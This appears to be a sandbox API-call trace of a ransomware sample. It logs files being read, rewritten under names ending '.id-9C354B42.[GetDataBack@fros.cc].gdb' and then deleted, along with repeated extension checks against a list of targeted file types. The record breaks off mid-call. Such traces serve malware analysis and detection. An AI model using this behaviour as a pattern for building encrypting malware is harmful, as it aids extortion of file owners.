[0116.390] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0116.392] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0116.392] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0116.393] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0116.393] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0116.393] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0116.393] GetLastError () returned 0x0 [0116.393] ReadFile (in: hFile=0x164, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x10b2, lpOverlapped=0x0) returned 1 [0116.395] WriteFile (in: hFile=0x1b8, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x10c0, lpOverlapped=0x0) returned 1 [0116.396] ReadFile (in: hFile=0x164, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0116.396] WriteFile (in: hFile=0x1b8, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xf0, lpOverlapped=0x0) returned 1 [0116.396] SetEndOfFile (hFile=0x1b8) returned 1 [0116.396] CloseHandle (hObject=0x1b8) returned 1 [0116.397] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0116.397] SetEndOfFile (hFile=0x164) returned 1 [0116.398] CloseHandle (hObject=0x164) returned 1 [0116.398] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0116.398] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0116.399] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.399] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.399] lstrlenW (lpString=".doc") returned 4 [0116.399] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.399] lstrlenW (lpString=".docx") returned 5 [0116.399] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0116.399] lstrlenW (lpString=".pdf") returned 4 [0116.399] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.399] lstrlenW (lpString=".xls") returned 4 [0116.399] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.399] lstrlenW (lpString=".xlsx") returned 5 [0116.399] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0116.399] lstrlenW (lpString=".ppt") returned 4 [0116.399] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.399] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.399] lstrlenW (lpString=".zip") returned 4 [0116.399] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.399] lstrlenW (lpString=".rar") returned 4 [0116.399] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.399] lstrlenW (lpString=".bz2") returned 4 [0116.399] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.399] lstrlenW (lpString=".7z") returned 3 [0116.399] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.399] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.399] lstrlenW (lpString=".dbf") returned 4 [0116.399] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.399] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.400] lstrlenW (lpString=".1cd") returned 4 [0116.400] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.400] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.400] lstrlenW (lpString=".jpg") returned 4 [0116.400] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.400] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.400] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.400] lstrlenW (lpString=".doc") returned 4 [0116.400] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.400] lstrlenW (lpString=".docx") returned 5 [0116.400] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0116.400] lstrlenW (lpString=".pdf") returned 4 [0116.400] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.400] lstrlenW (lpString=".xls") returned 4 [0116.400] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.400] lstrlenW (lpString=".xlsx") returned 5 [0116.400] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0116.400] lstrlenW (lpString=".ppt") returned 4 [0116.400] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.400] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.400] lstrlenW (lpString=".zip") returned 4 [0116.400] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.400] lstrlenW (lpString=".rar") returned 4 [0116.400] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.400] lstrlenW (lpString=".bz2") returned 4 [0116.400] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.400] lstrlenW (lpString=".7z") returned 3 [0116.400] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.400] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.400] lstrlenW (lpString=".dbf") returned 4 [0116.400] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.401] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.401] lstrlenW (lpString=".1cd") returned 4 [0116.401] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.401] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.401] lstrlenW (lpString=".jpg") returned 4 [0116.401] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.401] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0116.401] lstrlenW (lpString="Setup.xml") returned 9 [0116.401] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0116.401] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=20577) returned 1 [0116.401] CloseHandle (hObject=0x164) returned 1 [0116.401] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0116.402] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0116.402] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0116.402] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0116.402] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0116.402] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0116.405] GetLastError () returned 0x0 [0116.405] ReadFile (in: hFile=0x164, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x5061, lpOverlapped=0x0) returned 1 [0116.716] WriteFile (in: hFile=0x1b8, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x5070, lpOverlapped=0x0) returned 1 [0116.717] ReadFile (in: hFile=0x164, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0116.717] WriteFile (in: hFile=0x1b8, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xe6, lpOverlapped=0x0) returned 1 [0116.717] SetEndOfFile (hFile=0x1b8) returned 1 [0116.717] CloseHandle (hObject=0x1b8) returned 1 [0116.718] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0116.718] SetEndOfFile (hFile=0x164) returned 1 [0116.719] CloseHandle (hObject=0x164) returned 1 [0116.719] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0116.719] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0116.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.720] lstrlenW (lpString=".doc") returned 4 [0116.720] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.720] lstrlenW (lpString=".docx") returned 5 [0116.720] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0116.720] lstrlenW (lpString=".pdf") returned 4 [0116.720] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.720] lstrlenW (lpString=".xls") returned 4 [0116.720] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.720] lstrlenW (lpString=".xlsx") returned 5 [0116.720] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0116.720] lstrlenW (lpString=".ppt") returned 4 [0116.720] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.720] lstrlenW (lpString=".zip") returned 4 [0116.720] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.720] lstrlenW (lpString=".rar") returned 4 [0116.720] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.720] lstrlenW (lpString=".bz2") returned 4 [0116.720] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.720] lstrlenW (lpString=".7z") returned 3 [0116.720] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.720] lstrlenW (lpString=".dbf") returned 4 [0116.720] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.720] lstrlenW (lpString=".1cd") returned 4 [0116.720] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.720] lstrlenW (lpString=".jpg") returned 4 [0116.720] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.720] lstrlenW (lpString=".doc") returned 4 [0116.720] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.720] lstrlenW (lpString=".docx") returned 5 [0116.720] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0116.720] lstrlenW (lpString=".pdf") returned 4 [0116.720] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.720] lstrlenW (lpString=".xls") returned 4 [0116.720] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.720] lstrlenW (lpString=".xlsx") returned 5 [0116.720] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0116.720] lstrlenW (lpString=".ppt") returned 4 [0116.720] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.721] lstrlenW (lpString=".zip") returned 4 [0116.721] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.721] lstrlenW (lpString=".rar") returned 4 [0116.721] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.721] lstrlenW (lpString=".bz2") returned 4 [0116.721] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.721] lstrlenW (lpString=".7z") returned 3 [0116.721] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.721] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.721] lstrlenW (lpString=".dbf") returned 4 [0116.721] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.721] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.721] lstrlenW (lpString=".1cd") returned 4 [0116.721] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.721] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.721] lstrlenW (lpString=".jpg") returned 4 [0116.721] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.721] lstrcmpiW (lpString1=".JPG", lpString2=".gdb") returned 1 [0116.721] lstrlenW (lpString="MS.JPG") returned 6 [0116.721] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0116.830] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=1061) returned 1 [0116.830] CloseHandle (hObject=0x19c) returned 1 [0116.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 0x20 [0116.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0116.830] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0116.830] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0116.830] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0116.831] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0116.831] GetLastError () returned 0x0 [0116.831] ReadFile (in: hFile=0x19c, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x425, lpOverlapped=0x0) returned 1 [0116.832] WriteFile (in: hFile=0x1b4, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x430, lpOverlapped=0x0) returned 1 [0116.833] ReadFile (in: hFile=0x19c, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0116.833] WriteFile (in: hFile=0x1b4, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xe0, lpOverlapped=0x0) returned 1 [0116.833] SetEndOfFile (hFile=0x1b4) returned 1 [0116.833] CloseHandle (hObject=0x1b4) returned 1 [0116.834] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0116.834] SetEndOfFile (hFile=0x19c) returned 1 [0116.835] CloseHandle (hObject=0x19c) returned 1 [0116.835] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0116.835] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 1 [0116.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0116.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0116.836] lstrlenW (lpString=".doc") returned 4 [0116.836] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0116.836] lstrlenW (lpString=".docx") returned 5 [0116.836] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0116.836] lstrlenW (lpString=".pdf") returned 4 [0116.836] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0116.836] lstrlenW (lpString=".xls") returned 4 [0116.836] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0116.836] lstrlenW (lpString=".xlsx") returned 5 [0116.836] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0116.836] lstrlenW (lpString=".ppt") returned 4 [0116.836] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0116.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0116.836] lstrlenW (lpString=".zip") returned 4 [0116.836] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0116.836] lstrlenW (lpString=".rar") returned 4 [0116.836] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0116.836] lstrlenW (lpString=".bz2") returned 4 [0116.836] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0116.836] lstrlenW (lpString=".7z") returned 3 [0116.836] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0116.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0116.836] lstrlenW (lpString=".dbf") returned 4 [0116.836] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0116.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0116.836] lstrlenW (lpString=".1cd") returned 4 [0116.836] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0116.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0116.836] lstrlenW (lpString=".jpg") returned 4 [0116.836] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0116.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0116.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0116.836] lstrlenW (lpString=".doc") returned 4 [0116.836] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0116.836] lstrlenW (lpString=".docx") returned 5 [0116.836] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0116.836] lstrlenW (lpString=".pdf") returned 4 [0116.836] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0116.836] lstrlenW (lpString=".xls") returned 4 [0116.837] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0116.837] lstrlenW (lpString=".xlsx") returned 5 [0116.837] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0116.837] lstrlenW (lpString=".ppt") returned 4 [0116.837] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0116.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0116.837] lstrlenW (lpString=".zip") returned 4 [0116.837] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0116.837] lstrlenW (lpString=".rar") returned 4 [0116.837] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0116.837] lstrlenW (lpString=".bz2") returned 4 [0116.837] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0116.837] lstrlenW (lpString=".7z") returned 3 [0116.837] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0116.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0116.837] lstrlenW (lpString=".dbf") returned 4 [0116.837] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0116.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0116.837] lstrlenW (lpString=".1cd") returned 4 [0116.837] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0116.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0116.837] lstrlenW (lpString=".jpg") returned 4 [0116.837] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0116.837] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0116.837] lstrlenW (lpString="Alphabet.xml") returned 12 [0116.837] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0116.838] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=791686) returned 1 [0116.838] CloseHandle (hObject=0x19c) returned 1 [0116.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0116.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 